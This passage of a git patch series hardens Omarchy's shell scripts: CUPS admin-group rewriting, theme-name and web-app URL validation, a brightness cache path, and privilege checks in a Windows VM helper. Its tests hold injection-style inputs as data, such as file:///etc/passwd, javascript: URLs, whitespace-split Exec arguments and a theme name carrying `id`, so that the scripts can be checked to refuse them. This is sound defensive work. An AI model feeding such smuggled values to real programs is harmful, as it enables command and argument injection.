+++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 3 deletions(-) diff --git a/migrations/1787815267.sh b/migrations/1787815267.sh index c5b89c2f..31a8e797 100644 --- a/migrations/1787815267.sh +++ b/migrations/1787815267.sh @@ -14,9 +14,8 @@ if omarchy-pkg-present cups; then omarchy-pkg-add cups-pk-helper fi -cups_browsed_was_active=0 +# Stop the root-running daemon before changing the authorization it relies on. if systemctl is-active --quiet cups-browsed.service 2>/dev/null; then - cups_browsed_was_active=1 sudo systemctl stop cups-browsed.service fi @@ -27,7 +26,11 @@ if omarchy-pkg-present cups; then sudo systemctl try-reload-or-restart cups.service fi -if (( cups_browsed_was_active )) && omarchy-pkg-present cups-browsed; then +# Resume on whether the unit is enabled, not on whether it was running when this +# run started: an interrupted earlier run leaves it stopped, and a retry that +# recomputed that would skip the restart and still write the marker below. A +# masked or disabled unit reports not-enabled and is left alone. +if systemctl is-enabled --quiet cups-browsed.service 2>/dev/null; then sudo systemctl restart cups-browsed.service fi diff --git a/test/shell.d/cups-hardening-test.sh b/test/shell.d/cups-hardening-test.sh index 7ba8fea3..f5c92e44 100644 --- a/test/shell.d/cups-hardening-test.sh +++ b/test/shell.d/cups-hardening-test.sh @@ -167,3 +167,58 @@ PATH="$mock_bin:$PATH" \ fail "the machine-wide migration repeats privileged work" pass "the migration safely converts an active existing installation once" + +# An interrupted earlier run leaves cups-browsed stopped, so the retry that +# follows finds it inactive. It must still be restarted: the retry records the +# machine-wide marker either way, so a restart skipped here would leave printer +# discovery off until the next reboot with nothing left to run. +cat >"$mock_bin/systemctl" <<'SH' +#!/bin/bash +printf 'systemctl\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +[[ $1 == "is-active" ]] && exit 1 +exit 0 +SH +chmod +x "$mock_bin/systemctl" + +retry_log="$test_tmp/retry.log" +retry_marker="$test_tmp/var/lib/omarchy/migrations/1787815267-retry" + +OMARCHY_CUPS_TEST_LOG="$retry_log" \ + PATH="$mock_bin:$PATH" \ + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ + OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ + OMARCHY_CUPS_MIGRATION_MARKER="$retry_marker" \ + bash -euo pipefail "$ROOT/migrations/1787815267.sh" + +grep -qxF $'systemctl\trestart cups-browsed.service' "$retry_log" || + fail "the retry resumes cups-browsed after an interrupted earlier run" + +pass "a run following an interrupted one still resumes printer discovery" + +# A unit the user masked or disabled reports not-enabled, and restarting it +# would fail and abort the migration before it records completion. +cat >"$mock_bin/systemctl" <<'SH' +#!/bin/bash +printf 'systemctl\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +[[ $1 == "is-active" || $1 == "is-enabled" ]] && exit 1 +exit 0 +SH +chmod +x "$mock_bin/systemctl" + +masked_log="$test_tmp/masked.log" +masked_marker="$test_tmp/var/lib/omarchy/migrations/1787815267-masked" + +OMARCHY_CUPS_TEST_LOG="$masked_log" \ + PATH="$mock_bin:$PATH" \ + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ + OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ + OMARCHY_CUPS_MIGRATION_MARKER="$masked_marker" \ + bash -euo pipefail "$ROOT/migrations/1787815267.sh" + +! grep -qxF $'systemctl\trestart cups-browsed.service' "$masked_log" || + fail "the migration leaves a masked or disabled cups-browsed alone" +[[ -f $masked_marker ]] || fail "the migration completes with cups-browsed masked" + +pass "a masked or disabled cups-browsed is left alone and does not fail the migration" From 2b923cf5bd8cbde76eeef1b21354c399aa7f99b7 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 19:52:37 +0200 Subject: [PATCH 097/336] Pin the theme name check to C, and read a colon before any slash as scp-style MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A bracket range is collated, not ASCII, so `[a-z]` admits `é` under en_US.UTF-8 and refuses it under C: the same theme URL installed on one desktop and was refused on the next, and the manual's stated set was only true in the C locale. Pinning the comparison makes the written set the shipped one everywhere. git reads a URL as scp-style when a colon appears before any slash, so the path after it need not contain one. Requiring a slash left the prefix on `git@host:omarchy-blue-theme.git` and derived the name `git@host:omarchy-blue`, which the allowlist then refuses -- a repo that clones fine could no longer be installed at all. Co-Authored-By: Codex XHigh --- bin/omarchy-theme-install | 11 ++++++-- test/shell.d/theme-install-guards-test.sh | 34 +++++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-theme-install b/bin/omarchy-theme-install index 6b442678..b324fe55 100755 --- a/bin/omarchy-theme-install +++ b/bin/omarchy-theme-install @@ -23,9 +23,12 @@ omarchy-git-url-check "$REPO_URL" || exit 1 THEMES_DIR="$HOME/.config/omarchy/themes" -# Strip user@host: prefix from scp-style SSH URLs so basename sees just the path +# Strip user@host: prefix from scp-style SSH URLs so basename sees just the path. +# git reads a URL as scp-style when a colon appears before any slash, so the path +# after it need not hold one: `git@host:omarchy-blue-theme.git` is a repo in that +# user's home, and leaving its prefix on names the theme after the whole URL. REPO_PATH="$REPO_URL" -[[ $REPO_PATH != *"://"* && $REPO_PATH == *:*/* ]] && REPO_PATH="${REPO_PATH#*:}" +[[ $REPO_PATH != *"://"* && $REPO_PATH == *:* && ${REPO_PATH%%:*} != */* ]] && REPO_PATH="${REPO_PATH#*:}" THEME_NAME=$(basename -- "$REPO_PATH" .git | sed -E 's/^omarchy-//; s/-theme$//' | tr '[:upper:]' '[:lower:]') THEME_PATH="$THEMES_DIR/$THEME_NAME" @@ -37,7 +40,9 @@ THEME_PATH="$THEMES_DIR/$THEME_NAME" # ~/.config/omarchy with it, and one called `a';'id` would carry its own # command into that picker. The leading character is kept out of `.` and `-`, # which also covers `host:-s/foo.git` leaving basename with `.git`. -if [[ ! $THEME_NAME =~ ^[a-z0-9_][a-z0-9._+-]*$ ]]; then +# A bracket range follows the locale's collation, not ASCII: `[a-z]` takes in +# `é` under en_US.UTF-8. Pin the locale so the set is the one written here. +if ! (LC_ALL=C; [[ $THEME_NAME =~ ^[a-z0-9_][a-z0-9._+-]*$ ]]); then echo "Error: '$REPO_URL' does not give a usable theme name." exit 1 fi diff --git a/test/shell.d/theme-install-guards-test.sh b/test/shell.d/theme-install-guards-test.sh index 2b29bba8..6c6044d0 100755 --- a/test/shell.d/theme-install-guards-test.sh +++ b/test/shell.d/theme-install-guards-test.sh @@ -135,6 +135,40 @@ grep -Fq "/themes/_private" "$git_calls" || pass "a plus and a leading underscore are still usable theme names" +# git reads a colon before any slash as the scp-style separator, so the path +# after it does not have to hold one. Without that reading, the whole URL becomes +# the theme name and the allowlist above refuses a repo that clones fine. +install_theme "git@example.com:omarchy-blue-theme.git" || + fail "omarchy-theme-install accepts a home-relative scp-style URL" +grep -Fq "/themes/blue" "$git_calls" || + fail "omarchy-theme-install names the theme after the repo, not the whole URL" "$(cat "$git_calls")" + +# A colon that is part of a local path, not an scp separator, keeps its prefix. +install_theme "/srv/git:mirrors/omarchy-blue-theme.git" || + fail "omarchy-theme-install accepts a local path holding a colon" +grep -Fq "/themes/blue" "$git_calls" || + fail "omarchy-theme-install reads a colon after a slash as part of the path" "$(cat "$git_calls")" + +pass "an scp-style URL with no slash after the colon still names the theme" + +# The allowlist is a bracket range, and a range follows the locale's collation +# rather than ASCII: under en_US.UTF-8 an unpinned `[a-z]` takes in `é`, so the +# same URL would install on one desktop and be refused on the next. +if locale -a 2>/dev/null | grep -qix 'en_US.utf-\?8'; then + for locale_name in C en_US.UTF-8; do + if LC_ALL=$locale_name install_theme "https://github.com/example/omarchy-café-theme.git"; then + fail "omarchy-theme-install refuses a non-ASCII theme name under LC_ALL=$locale_name" "$(cat "$git_calls")" + fi + + [[ ! -s $git_calls ]] || + fail "omarchy-theme-install refuses a non-ASCII name before running git" "$(cat "$git_calls")" + done + + pass "the accepted set does not move with the desktop's locale" +else + pass "no en_US.UTF-8 locale; skipping the locale-pinning check" +fi + # basename reads a leading dash as an option once the scp-style prefix is gone. install_theme "host:-s/foo.git" || fail "omarchy-theme-install accepts a normal scp-style URL" grep -Fq -- "-- host:-s/foo.git" "$git_calls" || fail "omarchy-theme-install passes the URL after --" "$(cat "$git_calls")" From 68fc0cf6e6a12c7774b35b1874d0344a61ddabd9 Mon Sep 17 00:00:00 2001 From: omabot Date: Thu, 27 Aug 2026 19:55:36 +0200 Subject: [PATCH 098/336] Match the CUPS directives being rewritten the way cupsd reads them cupsd compares directive names with _cups_strcasecmp, so a hand-edited "systemgroup sys root wheel" is live configuration, but matching $1 against the canonical spelling skipped it and appended a second directive at the end of the file. parse_groups accumulates the groups of every SystemGroup directive it reads rather than replacing them, so both lines took effect and wheel kept the passwordless administration this is meant to remove, with the migration reporting success. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- install/config/printing.sh | 6 +++--- test/shell.d/cups-hardening-test.sh | 28 ++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+), 3 deletions(-) diff --git a/install/config/printing.sh b/install/config/printing.sh index b99e03c3..31c969ea 100644 --- a/install/config/printing.sh +++ b/install/config/printing.sh @@ -16,7 +16,7 @@ elif [[ -f $cups_files_conf ]]; then if ! awk ' NR == FNR { - if ($1 == "SystemGroup") { + if (tolower($1) == "systemgroup") { for (i = 2; i <= NF; i++) { if (substr($i, 1, 1) == "#") break @@ -29,7 +29,7 @@ elif [[ -f $cups_files_conf ]]; then next } - $1 == "SystemGroup" { + tolower($1) == "systemgroup" { comment_start = index($0, "#") if (!wrote_system_group) { printf "SystemGroup" @@ -47,7 +47,7 @@ elif [[ -f $cups_files_conf ]]; then next } - $1 == "PeerCred" { + tolower($1) == "peercred" { comment_start = index($0, "#") if (!saw_peer_cred) { printf "PeerCred on" diff --git a/test/shell.d/cups-hardening-test.sh b/test/shell.d/cups-hardening-test.sh index f5c92e44..2f0bc96a 100644 --- a/test/shell.d/cups-hardening-test.sh +++ b/test/shell.d/cups-hardening-test.sh @@ -222,3 +222,31 @@ OMARCHY_CUPS_TEST_LOG="$masked_log" \ [[ -f $masked_marker ]] || fail "the migration completes with cups-browsed masked" pass "a masked or disabled cups-browsed is left alone and does not fail the migration" + +# cupsd compares directive names case-insensitively, so a hand-edited lowercase +# directive is live configuration. Matching it exactly would skip the line and +# append a second one, and cupsd accumulates the groups of every SystemGroup +# directive it reads -- leaving wheel with passwordless administration. +lowercase_conf="$test_tmp/etc/cups/lowercase.conf" +cat >"$lowercase_conf" <<'CONF' +systemgroup sys root wheel +peercred off +CONF + +PATH="$mock_bin:$PATH" \ + OMARCHY_CUPS_FILES_CONF="$lowercase_conf" \ + OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ + bash -euo pipefail "$ROOT/install/config/printing.sh" + +! grep -qiE '^[[:space:]]*systemgroup\b.*\bwheel\b' "$lowercase_conf" || + fail "printing setup removes wheel from a lowercase SystemGroup directive" "$(cat "$lowercase_conf")" +[[ $(grep -ciE '^[[:space:]]*systemgroup\b' "$lowercase_conf") == 1 ]] || + fail "printing setup leaves one SystemGroup directive whatever case it was written in" "$(cat "$lowercase_conf")" +grep -qxF 'SystemGroup sys root cups-browsed' "$lowercase_conf" || + fail "printing setup reserves administration for the service account" "$(cat "$lowercase_conf")" +[[ $(grep -ciE '^[[:space:]]*peercred\b' "$lowercase_conf") == 1 ]] || + fail "printing setup leaves one PeerCred directive" "$(cat "$lowercase_conf")" +grep -qxF 'PeerCred on' "$lowercase_conf" || + fail "printing setup enables peer credentials whatever case they were written in" "$(cat "$lowercase_conf")" + +pass "printing setup rewrites directives cupsd reads case-insensitively" From b07374f03c72bb841c2e8dfe1e93b8a76a5ea737 Mon Sep 17 00:00:00 2001 From: omabot Date: Thu, 27 Aug 2026 19:55:36 +0200 Subject: [PATCH 099/336] Reserve the cups-browsed account name at install The username prompt already refuses the service accounts a desktop user must not claim, cups and lp among them. A user who took cups-browsed would get a primary group of that name, and the CUPS authorization written here puts that group in SystemGroup, handing that desktop user the passwordless administration the rest of this change removes. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- install/provisioning/setup-form.sh | 2 +- test/shell.d/setup-form-test.sh | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/install/provisioning/setup-form.sh b/install/provisioning/setup-form.sh index 909668eb..f4265d1d 100644 --- a/install/provisioning/setup-form.sh +++ b/install/provisioning/setup-form.sh @@ -79,7 +79,7 @@ Turkish|trq Ukrainian|ua' OMARCHY_USERNAME_PATTERN='^[a-z_][a-z0-9_-]*[$]?$' -OMARCHY_RESERVED_USERNAMES='^(root|bin|daemon|mail|ftp|http|nobody|dbus|systemd-coredump|systemd-network|systemd-oom|systemd-journal-remote|systemd-resolve|systemd-timesync|tss|uuidd|alpm|git|avahi|cups|lp|_talkd|polkitd|rtkit|qemu|brltty|gluster|rpc|libvirt-qemu|pcscd|nvidia-persistenced|sddm)$' +OMARCHY_RESERVED_USERNAMES='^(root|bin|daemon|mail|ftp|http|nobody|dbus|systemd-coredump|systemd-network|systemd-oom|systemd-journal-remote|systemd-resolve|systemd-timesync|tss|uuidd|alpm|git|avahi|cups|cups-browsed|lp|_talkd|polkitd|rtkit|qemu|brltty|gluster|rpc|libvirt-qemu|pcscd|nvidia-persistenced|sddm)$' OMARCHY_HOSTNAME_PATTERN='^[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?$' OMARCHY_HOSTNAME_DEFAULT='omarchy' diff --git a/test/shell.d/setup-form-test.sh b/test/shell.d/setup-form-test.sh index 4c797e4f..2b9878eb 100755 --- a/test/shell.d/setup-form-test.sh +++ b/test/shell.d/setup-form-test.sh @@ -144,11 +144,12 @@ pass "keyboard prompt propagates Esc and Ctrl+C without dying under set -e" # Username -TAKEN_USERS=dhh run_prompt omarchy_prompt_username "0:Not A Username" "0:root" "0:dhh" "0:david" +TAKEN_USERS=dhh run_prompt omarchy_prompt_username "0:Not A Username" "0:root" "0:cups-browsed" "0:dhh" "0:david" assert_status 0 "username prompt accepts a valid name" [[ $(field username) == "david" ]] || fail "username prompt keeps re-asking until the name is valid" assert_notices "username prompt explains each rejection" "Username must be alphanumeric with no spaces Username is reserved for system +Username is reserved for system That username already exists on this machine" pass "username prompt rejects malformed, reserved, and taken names" From 93824100269bb1b08e85fe86f103b40d5caaf611 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 20:10:15 +0200 Subject: [PATCH 100/336] Validate the web app URL before anything fetches it The scheme check ran after the interactive branch, which had already handed the URL to curl: a refused `file://` or `ftp://` URL was dereferenced first, the whole string went out to Google's favicon endpoint in a `domain=` query, and a fetch that happened to succeed left an orphan icon and a rebuilt icon cache behind. Validating immediately after normalization puts the refusal ahead of every dereference in both branches. A leading space also kept the URL out of the scheme test entirely. `normalize_webapp_url` saw no scheme, prefixed it, and ` file:///etc/passwd` became `https:// file:///etc/passwd`, which passes `^https?://`. The desktop `Exec` field is unquoted, so it splits back into two arguments, and `omarchy-launch-webapp` forwards everything after the first to the browser, where a bare argument is another URL to open. Refusing whitespace closes that without touching desktop-entry escaping. Scheme comparison is case-insensitive because schemes are: `HTTPS://example.com` installed before this check existed and has no reason to stop. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- bin/omarchy-webapp-install | 20 +++++++--- test/shell.d/webapp-install-test.sh | 60 +++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+), 6 deletions(-) diff --git a/bin/omarchy-webapp-install b/bin/omarchy-webapp-install index 308f8841..ebf6ea39 100755 --- a/bin/omarchy-webapp-install +++ b/bin/omarchy-webapp-install @@ -54,13 +54,21 @@ normalize_webapp_url() { printf '%s' "$url" } +# A space in the URL becomes a second desktop Exec argument, which +# omarchy-launch-webapp hands to the browser as another URL to open. Schemes +# are case-insensitive. require_http_url() { local url=$1 - if [[ $url =~ ^https?:// ]]; then - return 0 + + if [[ $url =~ [[:space:]] ]]; then + echo "Error: web app URL must not contain whitespace." >&2 + exit 1 + fi + + if [[ ! ${url,,} =~ ^https?:// ]]; then + echo "Error: web app URL must be http or https." >&2 + exit 1 fi - echo "Error: web app URL must be http or https." >&2 - exit 1 } fetch_site_icon() { @@ -91,6 +99,7 @@ if (( $# < 3 )); then APP_NAME=$(gum input --prompt "Name> " --placeholder "My favorite web app") APP_URL=$(gum input --prompt "URL> " --placeholder "https://example.com") APP_URL=$(normalize_webapp_url "$APP_URL") + require_http_url "$APP_URL" # Try to fetch the site's icon automatically first. mkdir -p "$ICON_DIR" @@ -108,6 +117,7 @@ if (( $# < 3 )); then else APP_NAME="$1" APP_URL=$(normalize_webapp_url "$2") + require_http_url "$APP_URL" ICON_REF="$3" CUSTOM_EXEC="$4" # Optional custom exec command MIME_TYPES="$5" # Optional mime types @@ -120,8 +130,6 @@ if [[ -z $APP_NAME || -z $APP_URL ]]; then exit 1 fi -require_http_url "$APP_URL" - if [[ -z $ICON_REF ]]; then ICON_VALUE=$(safe_icon_name "$APP_NAME") mkdir -p "$ICON_DIR" diff --git a/test/shell.d/webapp-install-test.sh b/test/shell.d/webapp-install-test.sh index f436a2d3..f845d928 100644 --- a/test/shell.d/webapp-install-test.sh +++ b/test/shell.d/webapp-install-test.sh @@ -58,3 +58,63 @@ for url in "javascript:alert(1)" "file:///etc/passwd" "data:text/html,hi" "ftp:/ [[ ! -e $(desktop_for Bad) ]] || fail "webapp install does not write a desktop file for '$url'" done pass "webapp install refuses non-http(s) URLs" + +# A leading space keeps the URL out of the scheme test, and the desktop Exec +# field splits it back into two arguments the browser both opens. +for url in " javascript:alert(1)" " file:///etc/passwd" "https://example.com data:text/html,hi"; do + if install_webapp "Sneak" "$url" "webapp" >"$tmpdir/out" 2>"$tmpdir/err"; then + fail "webapp install refuses whitespace in '$url'" "$(cat "$(desktop_for Sneak)")" + fi + grep -Fq 'must not contain whitespace' "$tmpdir/err" || + fail "webapp install names the whitespace refusal for '$url'" "$(cat "$tmpdir/err")" + [[ ! -e $(desktop_for Sneak) ]] || fail "webapp install writes no desktop file for '$url'" +done +pass "webapp install refuses a URL carrying whitespace" + +# Schemes are case-insensitive, and HTTPS://example.com installed before the +# scheme test existed. +if install_webapp "Upper" "HTTPS://example.com" "webapp" >"$tmpdir/out" 2>"$tmpdir/err"; then + : +else + fail "webapp install accepts an uppercase scheme" "$(cat "$tmpdir/err")" +fi +grep -Fxq 'Exec=omarchy-launch-webapp HTTPS://example.com' "$(desktop_for Upper)" || + fail "webapp install keeps the uppercase scheme" "$(cat "$(desktop_for Upper)")" +pass "webapp install accepts an uppercase http scheme" + +# The interactive prompt fetches the site's icon, so a refused URL must be +# refused before anything dereferences it. +stubs="$tmpdir/stubs" +mkdir -p "$stubs" + +cat >"$stubs/gum" <<'GUM' +#!/bin/bash +count=$(cat "$GUM_COUNT" 2>/dev/null || echo 0) +count=$((count + 1)) +printf '%s\n' "$count" >"$GUM_COUNT" +sed -n "${count}p" "$GUM_ANSWERS" +GUM + +cat >"$stubs/curl" <<'CURL' +#!/bin/bash +printf '%s\n' "$*" >>"$CURL_LOG" +exit 1 +CURL + +chmod +x "$stubs/gum" "$stubs/curl" + +printf 'Evil\nfile:///etc/passwd\n' >"$tmpdir/answers" +: >"$tmpdir/gum-count" +: >"$tmpdir/curl-log" + +if GUM_ANSWERS="$tmpdir/answers" GUM_COUNT="$tmpdir/gum-count" CURL_LOG="$tmpdir/curl-log" \ + PATH="$stubs:$PATH" HOME="$home" "$ROOT/bin/omarchy-webapp-install" \ + >"$tmpdir/out" 2>"$tmpdir/err"; then + fail "interactive webapp install refuses a file: URL" "$(cat "$tmpdir/out")" +fi +grep -Fq 'must be http or https' "$tmpdir/err" || + fail "interactive webapp install names the scheme refusal" "$(cat "$tmpdir/err")" +[[ ! -s $tmpdir/curl-log ]] || + fail "interactive webapp install refuses before fetching the URL" "$(cat "$tmpdir/curl-log")" +[[ ! -e $(desktop_for Evil) ]] || fail "interactive webapp install writes no desktop file" +pass "interactive webapp install refuses a bad URL before fetching it" From 9d8c0176d172a4397b560aae7b8fa751aac586dd Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 21:40:31 +0200 Subject: [PATCH 101/336] Make the cache tests fail when either check is removed MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Neither half of the validation was covered. Dropping `&& -c $cached` from the wrapper left the whole file green: all three poison values fail on the pathname prefix, so none of them ever reached the character-device test. A path that matches the hiddev glob but is not a device now covers it, and it is the real case rather than a synthetic one -- the display replugs, the interface renumbers, and the cached node is gone. It is added only when the host has no such node, so a machine with the display attached cannot fail there spuriously. The no-XDG_RUNTIME_DIR assertion had the same problem for the opposite reason: its decoy held a path the validation rejects on its own, so restoring the `${XDG_RUNTIME_DIR:-/tmp}` fallback left it passing. It asserts on the open now instead of on the contents -- a FIFO with no writer blocks whoever opens it, so a wrapper that consults the path hangs and one that ignores it exits. mkfifo is atomic and fails outright if the path is taken, so it still neither overwrites a file nor follows a symlink at the fixed path. Clearing created_tmp_cache as soon as the decoy is removed keeps this run's EXIT trap from deleting a concurrent run's decoy at the same fixed path, which would have let that run pass against the old code. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- .../brightness-display-apple-cache-test.sh | 51 ++++++++++++------- 1 file changed, 34 insertions(+), 17 deletions(-) diff --git a/test/shell.d/brightness-display-apple-cache-test.sh b/test/shell.d/brightness-display-apple-cache-test.sh index c3ac8d53..18b65cd0 100755 --- a/test/shell.d/brightness-display-apple-cache-test.sh +++ b/test/shell.d/brightness-display-apple-cache-test.sh @@ -82,7 +82,19 @@ cache_file="$xdg_dir/omarchy-brightness-display-apple.device" regular_file="$TMPDIR/not-a-device" : >"$regular_file" -for poison in "/dev/null" "$regular_file" "/tmp/omarchy-evil"; do +poisons=("/dev/null" "$regular_file" "/tmp/omarchy-evil") + +# The cases above all fail on the pathname prefix, so none of them reaches the -c +# test -- drop `&& -c $cached` from the wrapper and they all still pass. A path +# that matches the hiddev glob but is not a character device is what -c is for, +# and it is the realistic stale cache: the display replugs, the interface +# renumbers, and the cached node is simply gone. Add it only when the host really +# has no such node, so a machine with the display attached cannot fail here. +if [[ ! -e /dev/hiddev999 ]]; then + poisons+=("/dev/hiddev999") +fi + +for poison in "${poisons[@]}"; do printf '%s\n' "$poison" >"$cache_file" output=$(run_wrapper "$xdg_dir" "+5%") if grep -qF -- "$poison -- +5%" "$asd_log"; then @@ -91,10 +103,10 @@ for poison in "/dev/null" "$regular_file" "/tmp/omarchy-evil"; do done pass "wrapper rejects a cached path that is not a hiddev character device" -# NOTE: the complementary arm (a cache value that DOES match /dev/hiddev* but is -# not a character device) cannot be built without root -- only real device nodes -# live under /dev. It is covered by the -c test and exercised below only when a -# real hiddev node happens to be present. +# NOTE: the /dev/hiddev999 case above covers the -c test for a glob-matching path +# that does not exist. The remaining arm -- a path under /dev that exists, matches +# the glob, and is not a character device -- cannot be built without root, since +# only real device nodes live there. # --- A legitimate cached hiddev node is trusted (only where HW is present) ---- real_hiddev="" @@ -115,20 +127,25 @@ else fi # --- With no XDG_RUNTIME_DIR, the predictable /tmp cache is not consulted ------ -# Create the decoy atomically with noclobber (O_EXCL) instead of check-then-create: -# this refuses to overwrite an existing file or follow a symlink at the fixed path, -# closing the TOCTOU/symlink race. The fixed path is required -- it is exactly the -# path the old code would have formed, so a decoy anywhere else would prove nothing. -# If the path is already taken, skip rather than touch it; the EXIT trap removes the -# decoy only when this test created it. -if ( set -C; printf '%s\n' "/dev/null" >"$tmp_cache" ) 2>/dev/null; then +# Assert on the open, not on the contents. A decoy holding a rejectable path proves +# nothing: the validation above refuses it whether or not the /tmp fallback is still +# there, so that assertion passes against both wrappers. A FIFO with no writer blocks +# whoever opens it, so a wrapper that consults the path hangs and one that ignores it +# exits -- which separates the two. mkfifo is atomic and fails outright if the path is +# taken, so it neither overwrites a file nor follows a symlink; the fixed path is +# required, being exactly the path the old code would have formed. Clear the flag as +# soon as the decoy is gone, so a concurrent run's decoy cannot be removed by this +# run's EXIT trap. +if mkfifo "$tmp_cache" 2>/dev/null; then created_tmp_cache=1 - output=$(run_wrapper "" "+5%") - used=1 - grep -qF -- "/dev/null -- +5%" "$asd_log" || used=0 + status=0 + env -u XDG_RUNTIME_DIR PATH="$stub_dir:$ROOT/bin:$PATH" \ + timeout 5 omarchy-brightness-display-apple "+5%" >/dev/null 2>&1 || status=$? rm -f "$tmp_cache" - (( used == 0 )) || - fail "wrapper consulted the world-writable /tmp cache with no XDG_RUNTIME_DIR" "$output" + created_tmp_cache=0 + (( status != 124 )) || + fail "wrapper consulted the world-writable /tmp cache with no XDG_RUNTIME_DIR" \ + "it blocked reading the FIFO decoy at $tmp_cache" pass "wrapper ignores the /tmp cache path when XDG_RUNTIME_DIR is unset" else pass "$tmp_cache already present or not safely creatable; skipping the /tmp-fallback case" From d1845245d3c7441270f4da91e0032281486c2fd9 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 21:40:31 +0200 Subject: [PATCH 102/336] Unquote the new variables inside [[ ]] MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit AGENTS.md asks for unquoted variables inside `[[ ]]`, with quotes reserved for string literals being compared. The three conditions added here quoted them. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- bin/omarchy-brightness-display-apple | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-brightness-display-apple b/bin/omarchy-brightness-display-apple index 1027686d..c9cce2ff 100755 --- a/bin/omarchy-brightness-display-apple +++ b/bin/omarchy-brightness-display-apple @@ -8,7 +8,7 @@ # caching (detect every run) rather than fall back to a predictable, world-writable # /tmp path another user could pre-create. device_cache="" -if [[ -n "${XDG_RUNTIME_DIR:-}" ]]; then +if [[ -n ${XDG_RUNTIME_DIR:-} ]]; then device_cache="$XDG_RUNTIME_DIR/omarchy-brightness-display-apple.device" fi no_osd=0 @@ -34,7 +34,7 @@ find_apple_display_device() { local cached="" local device="" - if [[ -n "$device_cache" && -r $device_cache ]]; then + if [[ -n $device_cache && -r $device_cache ]]; then read -r cached <"$device_cache" || true # Trust a cached value only if it still names a hiddev character device. A # stale or unexpected cache (a regular file, a non-hiddev node) is ignored and @@ -50,7 +50,7 @@ find_apple_display_device() { device="$(detect_apple_display_device)" || return 1 [[ -n $device ]] || return 1 - if [[ -n "$device_cache" ]]; then + if [[ -n $device_cache ]]; then printf '%s\n' "$device" >"$device_cache" fi printf '%s\n' "$device" From a165185a3f48b2344f89d2e5f14a8f3e9e02ffdd Mon Sep 17 00:00:00 2001 From: Afonso Oliveira Date: Thu, 27 Aug 2026 23:53:44 +0100 Subject: [PATCH 103/336] [Security] Complete Windows VM mount hardening --- bin/omarchy-windows-vm | 835 ++++++++++++++---- manual/28-windows-vm.md | 6 +- test/shell.d/windows-vm-compose-test.sh | 426 +++++++-- .../shell.d/windows-vm-mount-boundary-test.sh | 168 ++++ 4 files changed, 1194 insertions(+), 241 deletions(-) create mode 100644 test/shell.d/windows-vm-mount-boundary-test.sh diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index c22c4815..0676b770 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -28,6 +28,23 @@ LEGACY_COMPOSE_FILE="$HOME/.config/windows/docker-compose.yml" CREDENTIALS_FILE="$HOME/.config/windows/credentials" IMAGE="dockurr/windows" CONTAINER="omarchy-windows" +VM_LOCK_DIR=/run/lock/omarchy-windows-vm +# Removal is the only path that recursively proves there are no bind aliases. +# Bound every metadata walk so a large or hostile caller tree fails closed +# instead of hanging a privileged action indefinitely. +TREE_SCAN_TIMEOUT_SECONDS=5 +TREE_SCAN_KILL_AFTER_SECONDS=1 +TREE_SCAN_TIMEOUT=/usr/bin/timeout +TREE_SCAN_FIND=/usr/bin/find + +# The privileged process must not resolve mount, stat, Docker, or any other +# helper from a caller-controlled PATH, and validation must not change with an +# inherited locale. pkexec normally sanitizes both; pin them here as defense in +# depth for every direct __priv entry as well. +if ((EUID == 0)); then + export PATH=/usr/bin:/usr/sbin:/bin:/sbin + export LC_ALL=C.UTF-8 +fi # --- privilege helpers ------------------------------------------------------- @@ -45,17 +62,19 @@ docker_needs_sudo() { omarchy-sudo-docker; } # prompt the user grants for the trusted helper could run an attacker's binary # as root. Fails closed (empty output) when no trustworthy target is found. priv_target() { - local candidate owner mode - for candidate in /usr/bin/omarchy-windows-vm "$(type -P omarchy-windows-vm 2>/dev/null)"; do - [[ -n $candidate && -x $candidate ]] || continue - owner=$(stat -Lc '%u' "$candidate" 2>/dev/null) || continue - mode=$(stat -Lc '%a' "$candidate" 2>/dev/null) || continue - [[ $owner == "0" ]] || continue - ((8#$mode & 022)) && continue # writable by group or other -> reject - printf '%s\n' "$candidate" - return 0 + local candidate=/usr/bin/omarchy-windows-vm canonical probe owner mode + [[ -f $candidate && ! -L $candidate && -x $candidate ]] || return 1 + canonical=$(realpath -e -- "$candidate" 2>/dev/null) || return 1 + [[ $canonical == "$candidate" ]] || return 1 + probe=$candidate + while :; do + owner=$(stat -Lc '%u' "$probe" 2>/dev/null) || return 1 + mode=$(stat -Lc '%a' "$probe" 2>/dev/null) || return 1 + [[ $owner == 0 ]] && ! ((8#$mode & 022)) || return 1 + [[ $probe == / ]] && break + 